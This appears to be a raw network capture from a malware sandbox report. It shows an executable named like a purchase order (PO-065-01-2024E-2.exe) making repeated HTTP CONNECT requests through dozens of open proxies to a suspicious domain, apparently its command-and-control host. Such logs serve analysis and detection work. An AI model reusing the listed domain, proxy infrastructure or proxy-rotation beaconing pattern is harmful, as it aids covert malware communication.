Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1696	192.168.2.10	55183	203.218.172.225	8080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:53.102349997 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:53.419591904 CET	326	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 11 Mar 2024 15:39:52 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1697	192.168.2.10	54765	47.243.205.1	3128	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:53.112834930 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1698	192.168.2.10	55181	103.23.100.1	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:53.124784946 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1699	192.168.2.10	55186	79.110.201.235	8081	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:53.181716919 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1700	192.168.2.10	54845	162.241.50.179	34099	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:53.191687107 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:56.286040068 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:59.286509037 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:05.286612034 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1701	192.168.2.10	51419	182.140.244.163	8118	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:53.191876888 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1702	192.168.2.10	53521	171.244.140.160	14253	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:53.192032099 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:56.207710981 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1703	192.168.2.10	55187	177.38.5.16	4153	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:53.195007086 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1704	192.168.2.10	55185	216.9.224.113	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:53.197356939 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1705	192.168.2.10	55191	184.185.2.12	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:53.198183060 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1706	192.168.2.10	54759	1.32.57.85	5678	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:53.230993032 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1707	192.168.2.10	53516	41.223.234.116	37259	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:53.235805035 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1708	192.168.2.10	55190	94.131.14.66	1081	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:53.245863914 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1709	192.168.2.10	54828	190.217.7.80	999	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:53.260814905 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:56.286113024 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:57.725416899 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1710	192.168.2.10	55192	45.120.178.197	1080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:53.260921001 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1711	192.168.2.10	51613	162.215.219.157	41697	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:53.286267996 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:56.335268021 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:59.411149979 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:05.467365980 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:17.598148108 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:29.598151922 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:41.598234892 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:41:05.645030022 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1712	192.168.2.10	55193	8.217.95.44	8899	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:53.298091888 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1713	192.168.2.10	51527	104.225.220.233	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:53.317516088 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:56.335295916 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:59.411168098 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:05.467339039 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:17.598150015 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:29.598174095 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:41.598247051 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:41:05.645035982 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:41:53.769906044 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1714	192.168.2.10	55194	79.110.202.131	8081	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:53.336611986 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1715	192.168.2.10	54766	125.122.26.242	1080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:53.336675882 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1716	192.168.2.10	54107	192.252.215.5	16137	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:53.341823101 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1717	192.168.2.10	51782	50.63.12.33	14738	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:53.348095894 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:56.489053965 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:59.489648104 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:05.583053112 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1718	192.168.2.10	55200	104.21.84.251	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:53.351109982 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:53.505422115 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:53 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1719	192.168.2.10	54986	162.241.45.22	44931	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:53.379369974 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:56.489123106 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:59.489651918 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:05.583146095 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:17.676280975 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1720	192.168.2.10	51769	146.19.106.217	12334	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:53.426234007 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:56.489144087 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1721	192.168.2.10	51515	207.180.234.220	39737	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:53.441225052 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:56.478888988 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:59.598484039 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:05.598700047 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:17.598206043 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
